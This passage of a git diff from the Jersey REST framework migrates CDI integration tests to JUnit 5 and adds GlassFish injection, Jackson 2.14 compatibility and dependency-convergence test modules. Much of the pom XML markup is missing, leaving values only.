target().path("jcdibean/singleton").path(p).queryParam("x", x).path("exception"); assertThat(exception.request().get().readEntity(String.class), containsString("JDCIBeanException")); } diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonDependentBeanTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonDependentBeanTest.java index 79e8657727b..19a7033f151 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonDependentBeanTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonDependentBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,51 +16,36 @@ package org.glassfish.jersey.tests.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.Entity; import jakarta.ws.rs.client.WebTarget; import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the application scoped managed bean resource. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class SingletonDependentBeanTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha", "beta"}, - {"1", "2"} - }); + public static Stream testData() { + return Stream.of( + Arguments.of("alpha", "beta"), + Arguments.of("1", "2") + ); } - final String p, x; - - /** - * Construct instance with the above test data injected. - * - * @param p path parameter. - * @param x query parameter. - */ - public SingletonDependentBeanTest(String p, String x) { - this.p = p; - this.x = x; - } - - @Test - public void testGet() { + @ParameterizedTest + @MethodSource("testData") + public void testGet(String p, String x) { final WebTarget singleton = target().path("jcdibean/dependent/singleton").path(p).queryParam("x", x); String s = singleton.request().get(String.class); assertThat(s, containsString(singleton.getUri().toString())); @@ -68,8 +53,9 @@ public void testGet() { assertThat(s, containsString(String.format("queryParam=%s", x))); } - @Test - public void testCounter() { + @ParameterizedTest + @MethodSource("testData") + public void testCounter(String p, String x) { final WebTarget counter = target().path("jcdibean/dependent/singleton").path(p).queryParam("x", x).path("counter"); @@ -92,8 +78,9 @@ public void testCounter() { counter.request().put(Entity.text("10")); } - @Test - public void testException() { + @ParameterizedTest + @MethodSource("testData") + public void testException(String p, String x) { final WebTarget exception = target().path("jcdibean/dependent/singleton").path(p).queryParam("x", x).path("exception"); assertThat(exception.request().get().readEntity(String.class), containsString("JDCIBeanDependentException")); } diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/StutterEchoTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/StutterEchoTest.java index b8655a61334..ba2d1fd3ea6 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/StutterEchoTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/StutterEchoTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,47 +16,32 @@ package org.glassfish.jersey.tests.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for qualified injection. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class StutterEchoTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][]{ - {"alpha", "alphaalpha"}, - {"gogol", "gogolgogol"}, - {"elcaro", "elcaroelcaro"} - }); - }; - - final String in, out; - - /** - * Construct instance with the above test data injected. - * - * @param in query parameter. - * @param out expected output. - */ - public StutterEchoTest(String in, String out) { - this.in = in; - this.out = out; + public static Stream testData() { + return Stream.of( + Arguments.of("alpha", "alphaalpha"), + Arguments.of("gogol", "gogolgogol"), + Arguments.of("elcaro", "elcaroelcaro") + ); } - @Test - public void testGet() { + @ParameterizedTest + @MethodSource("testData") + public void testGet(String in, String out) { String s = target().path("stutter").queryParam("s", in).request().get(String.class); assertThat(s, equalTo(out)); } diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/TimerTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/TimerTest.java index c1bd84478d6..fa7dcb21188 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/TimerTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/TimerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,10 +20,10 @@ import java.util.logging.Logger; import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; import static org.hamcrest.CoreMatchers.is; /** @@ -47,7 +47,7 @@ public void testGet() { assertThat(secondResponse.getStatus(), is(200)); long secondMillis = Long.decode(secondResponse.readEntity(String.class)); - assertTrue("Second request should have greater millis!", secondMillis > firstMillis); + assertTrue(secondMillis > firstMillis, "Second request should have greater millis!"); } private void sleep(long ms) { diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml index 670b8de7704..12cb676d7be 100644 --- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml @@ -1,7 +1,7 @@ + + + + + true + + + + \ No newline at end of file diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml new file mode 100644 index 00000000000..50dec3324b9 --- /dev/null +++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml @@ -0,0 +1,370 @@ + + + + + 4.0.0 + + org.glassfish.jersey.tests.integration.cdi + cdi-integration-project + 3.1.99-SNAPSHOT + + + gf-cdi-inject-on-server + jersey-tests-glassfish-inject-on-server + + Embedded GF tests @Inject + + + ${project.build.directory}/glassfish7 + ${glassfish.home}/glassfish/modules + ${gf.impl.version} + + + + + org.junit.jupiter + junit-jupiter + test + + + + org.jboss.arquillian.container + arquillian-glassfish-managed-6 + 1.0.0.Alpha1 + + + + + jakarta.ws.rs + jakarta.ws.rs-api + + + + org.hamcrest + hamcrest + test + + + + org.glassfish.main.common + simple-glassfish-api + ${glassfish.container.version} + test + + + + org.jboss.arquillian.junit5 + arquillian-junit5-container + ${arquillian.version} + test + + + + org.glassfish.jersey.core + jersey-server + + + + jakarta.activation + jakarta.activation-api + + + + + + + org.apache.maven.plugins + maven-dependency-plugin + + + unpack + process-test-classes + + unpack + + + + + org.glassfish.main.distributions + glassfish + ${gf.impl.version} + zip + false + ${project.build.directory} + + + + + + copy + process-test-classes + + copy + + + + + org.glassfish.jersey.ext + jersey-bean-validation + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-bean-validation.jar + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-cdi1x.jar + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x-servlet + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-cdi1x-servlet.jar + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x-transaction + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-cdi1x-transaction.jar + + + org.glassfish.jersey.ext.cdi + jersey-cdi-rs-inject + ${jersey.version} + jar + ${glassfish.home}/glassfish/modules + jersey-cdi-rs-inject.jar + + + org.glassfish.jersey.core + jersey-client + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-client.jar + + + org.glassfish.jersey.core + jersey-common + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-common.jar + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-container-grizzly2-http.jar + + + org.glassfish.jersey.containers + jersey-container-servlet + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-container-servlet.jar + + + org.glassfish.jersey.containers + jersey-container-servlet-core + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-container-servlet-core.jar + + + org.glassfish.jersey.ext + jersey-entity-filtering + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-entity-filtering.jar + + + org.glassfish.jersey.containers.glassfish + jersey-gf-ejb + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-gf-ejb.jar + + + org.glassfish.jersey.inject + jersey-hk2 + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-hk2.jar + + + org.glassfish.jersey.media + jersey-media-jaxb + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-jaxb.jar + + + org.glassfish.jersey.media + jersey-media-json-binding + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-json-binding.jar + + + org.glassfish.jersey.media + jersey-media-json-jackson + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-json-jackson.jar + + + org.glassfish.jersey.media + jersey-media-json-processing + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-json-processing.jar + + + org.glassfish.jersey.media + jersey-media-multipart + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-multipart.jar + + + org.glassfish.jersey.media + jersey-media-sse + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-sse.jar + + + org.glassfish.jersey.ext.microprofile + jersey-mp-rest-client + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-mp-rest-client.jar + + + org.glassfish.jersey.ext + jersey-mvc + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-mvc.jar + + + org.glassfish.jersey.ext + jersey-mvc-jsp + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-mvc-jsp.jar + + + org.glassfish.jersey.ext + jersey-proxy-client + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-proxy-client.jar + + + org.glassfish.jersey.core + jersey-server + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-server.jar + + + jakarta.ws.rs + jakarta.ws.rs-api + jar + true + ${glassfish.home}/glassfish/modules + jakarta.ws.rs-api.jar + + + + + + + + org.apache.maven.plugins + maven-surefire-plugin + + + **/GFTest.java + + org.glassfish.jersey.tests.integration.cdi:gf-cdi-inject-on-server + + ${glassfish.home} + 8080 + true + + + ${glassfish.home} + + + + + + \ No newline at end of file diff --git a/tests/integration/cdi-integration/gf-cdi-inject/src/main/java/org/glassfish/jersey/tests/cdi/gf/GFTestApp.java b/tests/integration/cdi-integration/gf-cdi-inject/src/main/java/org/glassfish/jersey/tests/cdi/gf/GFTestApp.java new file mode 100644 index 00000000000..75901941665 --- /dev/null +++ b/tests/integration/cdi-integration/gf-cdi-inject/src/main/java/org/glassfish/jersey/tests/cdi/gf/GFTestApp.java @@ -0,0 +1,57 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.cdi.gf; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.ContainerLifecycleListener; + +import jakarta.ws.rs.ApplicationPath; + +@ApplicationPath("/test") +public class GFTestApp extends ResourceConfig { + public static final String RELOADER = "RELOADER"; + private Reloader reloader = new Reloader(); + + public GFTestApp() { + super(GFTestResource.class); + register(reloader); + + property(CommonProperties.PROVIDER_DEFAULT_DISABLE, "ALL"); + property(RELOADER, reloader); + } + + static class Reloader implements ContainerLifecycleListener { + Container container; + + @Override + public void onStartup(Container container) { + this.container = container; + } + + @Override + public void onReload(Container container) { + + } + + @Override + public void onShutdown(Container container) { + + } + } +} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/aspect4j/ComponentResource.java b/tests/integration/cdi-integration/gf-cdi-inject/src/main/java/org/glassfish/jersey/tests/cdi/gf/GFTestResource.java similarity index 52% rename from ext/spring5/src/test/java/org/glassfish/jersey/server/spring/aspect4j/ComponentResource.java rename to tests/integration/cdi-integration/gf-cdi-inject/src/main/java/org/glassfish/jersey/tests/cdi/gf/GFTestResource.java index 9b96e32de1d..b40830aa321 100644 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/aspect4j/ComponentResource.java +++ b/tests/integration/cdi-integration/gf-cdi-inject/src/main/java/org/glassfish/jersey/tests/cdi/gf/GFTestResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,36 +14,34 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring.aspect4j; +package org.glassfish.jersey.tests.cdi.gf; +import jakarta.inject.Inject; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.Application; import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.UriInfo; -import org.glassfish.jersey.server.spring.TestComponent1; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Component; - @Path("/") -@Component -public class ComponentResource { - - @Autowired - private TestComponent1 testComponent1; - @Context - private UriInfo uriInfo; +public class GFTestResource { + @Inject + UriInfo uriInfo; - @Path("test2") @GET - public String test2() { - return testComponent1.result(); + @Path("info") + @Produces(MediaType.TEXT_PLAIN) + public String info() { + return uriInfo.getBaseUri().toASCIIString(); } - @Path("JERSEY-3126") @GET - public String JERSEY_3126() { - return uriInfo == null ? "test failed" : "test ok"; + @Path("reload") + public String reload(@Context Application application) { + GFTestApp.Reloader reloader = (GFTestApp.Reloader) application.getProperties().get(GFTestApp.RELOADER); + reloader.container.reload(); + return GFTestApp.RELOADER; } - } diff --git a/tests/integration/cdi-integration/gf-cdi-inject/src/test/java/org/glassfish/jersey/tests/cdi/gf/GFTest.java b/tests/integration/cdi-integration/gf-cdi-inject/src/test/java/org/glassfish/jersey/tests/cdi/gf/GFTest.java new file mode 100644 index 00000000000..5946c363801 --- /dev/null +++ b/tests/integration/cdi-integration/gf-cdi-inject/src/test/java/org/glassfish/jersey/tests/cdi/gf/GFTest.java @@ -0,0 +1,73 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.cdi.gf; + +import org.jboss.arquillian.container.test.api.Deployment; +import org.jboss.arquillian.junit5.ArquillianExtension; +import org.jboss.shrinkwrap.api.ShrinkWrap; +import org.jboss.shrinkwrap.api.spec.WebArchive; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; + +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; +import java.io.IOException; + +@ExtendWith(ArquillianExtension.class) +public class GFTest { + @Deployment(testable = false) + public static WebArchive createDeployment() throws IOException { + return createDeployment( + "gf-test", + GFTestApp.class, + GFTestResource.class + ); + } + + private static WebArchive createDeployment(String archiveName, Class... classes) { + WebArchive archive = ShrinkWrap.create(WebArchive.class, archiveName + ".war"); + archive.addClasses(classes); + return archive; + } + + @Test + public void testUriInfo() { + try (Response response = ClientBuilder.newClient().target("http://localhost:" + port()) + .path("gf-test/test/info").request().get()) { + String entity = response.readEntity(String.class); + System.out.println(entity); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertTrue(entity.contains("gf-test/test")); + } + } + + @Test + public void testReload() { + try (Response response = ClientBuilder.newClient().target("http://localhost:" + port()) + .path("gf-test/test/reload").request().get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals(GFTestApp.RELOADER, response.readEntity(String.class)); + } + testUriInfo(); + } + + private static int port() { + int port = Integer.parseInt(System.getProperty("webServerPort")); + return port; + } +} diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml index 90d94f5e041..8b0d439732f 100644 --- a/tests/integration/cdi-integration/pom.xml +++ b/tests/integration/cdi-integration/pom.xml @@ -1,7 +1,7 @@ + + + + project + org.glassfish.jersey.tests.integration + 3.1.99-SNAPSHOT + + 4.0.0 + + jackson-14 + jersey-compatibility-jackson14 + + Controls the backward compatibility with Jackson 2.14 environment + + + + 2.14.1 + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + ${enforcer.mvn.plugin.version} + + + enforce-versions + + enforce + + + false + + + + + + + + + + + org.glassfish.jersey.core + jersey-common + + + org.glassfish.jersey.core + jersey-client + test + + + org.glassfish.jersey.media + jersey-media-json-jackson + + + com.fasterxml.jackson.core + jackson-annotations + + + com.fasterxml.jackson.core + jackson-databind + + + com.fasterxml.jackson.core + jackson-core + + + + + com.fasterxml.jackson.core + jackson-annotations + ${jackson14.version} + + + com.fasterxml.jackson.core + jackson-databind + ${jackson14.version} + + + com.fasterxml.jackson.core + jackson-core + ${jackson14.version} + + + org.junit.jupiter + junit-jupiter + test + + + org.hamcrest + hamcrest + test + + + + \ No newline at end of file diff --git a/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java b/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java new file mode 100644 index 00000000000..f05be4945e4 --- /dev/null +++ b/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.integration.jackson14; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.TextNode; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; + +public class Jackson14DependencyTest { + + @Test + void testJackson15Feature() { + try (Response response = ClientBuilder.newClient() + .register(JacksonFeature.withExceptionMappers().maxStringLength(3)) + .register(new ClientRequestFilter() { + @Override + public void filter(ClientRequestContext requestContext) throws IOException { + requestContext.abortWith(Response.ok(new TextNode("12345")) + .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_TYPE) + .build()); + } + }) + .target("http://localhost:8080") + .request().get()) { + Assertions.assertEquals(200, response.getStatus()); + JsonNode node = response.readEntity(JsonNode.class); + Assertions.assertEquals("12345", node.asText()); // Jackson 15 throws ProcessingException + } + } +} diff --git a/tests/integration/jaxrs-component-inject/pom.xml b/tests/integration/jaxrs-component-inject/pom.xml index 9f31a725433..8dae71d1a78 100644 --- a/tests/integration/jaxrs-component-inject/pom.xml +++ b/tests/integration/jaxrs-component-inject/pom.xml @@ -1,7 +1,7 @@ - \ No newline at end of file + + \ No newline at end of file diff --git a/tests/integration/jersey-4697/pom.xml b/tests/integration/jersey-4697/pom.xml index 1bf92830725..f3e89df293c 100644 --- a/tests/integration/jersey-4697/pom.xml +++ b/tests/integration/jersey-4697/pom.xml @@ -1,7 +1,7 @@ + + + + project + org.glassfish.jersey.tests.integration + 3.1.99-SNAPSHOT + + 4.0.0 + + jersey-5087 + war + jersey-tests-integration-jersey-5087 + + dependencyConvergence rule check + + + + + org.glassfish.jersey + jersey-bom + ${project.version} + pom + import + + + + + + + org.glassfish.jersey.core + jersey-common + + + org.glassfish.jersey.core + jersey-client + + + org.glassfish.jersey.core + jersey-server + + + org.glassfish.jersey.bundles + jaxrs-ri + + + org.glassfish.jersey.connectors + jersey-apache-connector + + + org.glassfish.jersey.connectors + jersey-apache5-connector + + + org.glassfish.jersey.connectors + jersey-helidon-connector + + + org.glassfish.jersey.connectors + jersey-grizzly-connector + + + org.glassfish.jersey.connectors + jersey-jetty-connector + + + org.glassfish.jersey.connectors + jersey-jdk-connector + + + org.glassfish.jersey.connectors + jersey-netty-connector + + + org.glassfish.jersey.containers + jersey-container-jetty-http + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + + + org.glassfish.jersey.containers + jersey-container-grizzly2-servlet + + + org.glassfish.jersey.containers + jersey-container-jetty-servlet + + + org.glassfish.jersey.containers + jersey-container-jdk-http + + + org.glassfish.jersey.containers + jersey-container-netty-http + + + org.glassfish.jersey.containers + jersey-container-servlet + + + org.glassfish.jersey.containers + jersey-container-servlet-core + + + org.glassfish.jersey.containers + jersey-container-simple-http + + + org.glassfish.jersey.containers.glassfish + jersey-gf-ejb + + + org.glassfish.jersey.ext + jersey-bean-validation + + + org.glassfish.jersey.ext + jersey-entity-filtering + + + org.glassfish.jersey.ext + jersey-metainf-services + + + org.glassfish.jersey.ext.microprofile + jersey-mp-config + + + org.glassfish.jersey.ext + jersey-mvc + + + org.glassfish.jersey.ext + jersey-mvc-bean-validation + + + org.glassfish.jersey.ext + jersey-mvc-freemarker + + + org.glassfish.jersey.ext + jersey-mvc-jsp + + + org.glassfish.jersey.ext + jersey-mvc-mustache + + + org.glassfish.jersey.ext + jersey-proxy-client + + + org.glassfish.jersey.ext + jersey-spring6 + + + org.glassfish.jersey.ext + jersey-declarative-linking + + + org.glassfish.jersey.ext + jersey-wadl-doclet + + + org.glassfish.jersey.ext.cdi + jersey-weld2-se + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x-transaction + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x-validation + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x-servlet + + + org.glassfish.jersey.ext.cdi + jersey-cdi1x-ban-custom-hk2-binding + + + org.glassfish.jersey.ext.cdi + jersey-cdi-rs-inject + + + org.glassfish.jersey.ext.rx + jersey-rx-client-guava + + + org.glassfish.jersey.ext.rx + jersey-rx-client-rxjava + + + org.glassfish.jersey.ext.rx + jersey-rx-client-rxjava2 + + + org.glassfish.jersey.ext.microprofile + jersey-mp-rest-client + + + org.glassfish.jersey.media + jersey-media-jaxb + + + org.glassfish.jersey.media + jersey-media-json-jackson + + + org.glassfish.jersey.media + jersey-media-json-jettison + + + org.glassfish.jersey.media + jersey-media-json-processing + + + org.glassfish.jersey.media + jersey-media-json-binding + + + org.glassfish.jersey.media + jersey-media-kryo + + + org.glassfish.jersey.media + jersey-media-moxy + + + org.glassfish.jersey.media + jersey-media-multipart + + + org.glassfish.jersey.media + jersey-media-sse + + + org.glassfish.jersey.security + oauth1-client + + + org.glassfish.jersey.security + oauth1-server + + + org.glassfish.jersey.security + oauth1-signature + + + org.glassfish.jersey.security + oauth2-client + + + org.glassfish.jersey.inject + jersey-hk2 + + + org.glassfish.jersey.inject + jersey-cdi2-se + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-bundle + pom + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-external + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-inmemory + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-jdk-http + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-simple + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-jetty + + + org.glassfish.jersey.test-framework + jersey-test-framework-util + + + + + + true + + \ No newline at end of file diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent1.java b/tests/integration/jersey-5087/src/main/java/org/glassfish/jersey/tests/integration/jersey5087/Jersey5087.java similarity index 68% rename from ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent1.java rename to tests/integration/jersey-5087/src/main/java/org/glassfish/jersey/tests/integration/jersey5087/Jersey5087.java index d8d29a3c0bf..05f4d67b4ec 100644 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent1.java +++ b/tests/integration/jersey-5087/src/main/java/org/glassfish/jersey/tests/integration/jersey5087/Jersey5087.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,14 +14,13 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring; +package org.glassfish.jersey.tests.integration.jersey5087; -import org.springframework.stereotype.Component; +import org.glassfish.jersey.server.ResourceConfig; -@Component -public class TestComponent1 { +public class Jersey5087 extends ResourceConfig { - public String result() { - return "test ok"; + public Jersey5087() { + register(Resource5087.class); } } diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/filter/TestResource.java b/tests/integration/jersey-5087/src/main/java/org/glassfish/jersey/tests/integration/jersey5087/Resource5087.java similarity index 75% rename from ext/spring5/src/test/java/org/glassfish/jersey/server/spring/filter/TestResource.java rename to tests/integration/jersey-5087/src/main/java/org/glassfish/jersey/tests/integration/jersey5087/Resource5087.java index 7e624ef3982..ce32dc3aebe 100644 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/filter/TestResource.java +++ b/tests/integration/jersey-5087/src/main/java/org/glassfish/jersey/tests/integration/jersey5087/Resource5087.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,17 +14,17 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring.filter; +package org.glassfish.jersey.tests.integration.jersey5087; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @Path("/") -public class TestResource { +public class Resource5087 { - @Path("test1") @GET - public String test1() { - return "Hello, Test!"; + public String getResource() { + return "OK"; } + } diff --git a/tests/integration/jersey-5087/src/test/java/org/glassfish/jersey/tests/integration/jersey5087/Jersey5087Test.java b/tests/integration/jersey-5087/src/test/java/org/glassfish/jersey/tests/integration/jersey5087/Jersey5087Test.java new file mode 100644 index 00000000000..8c1b3be51ed --- /dev/null +++ 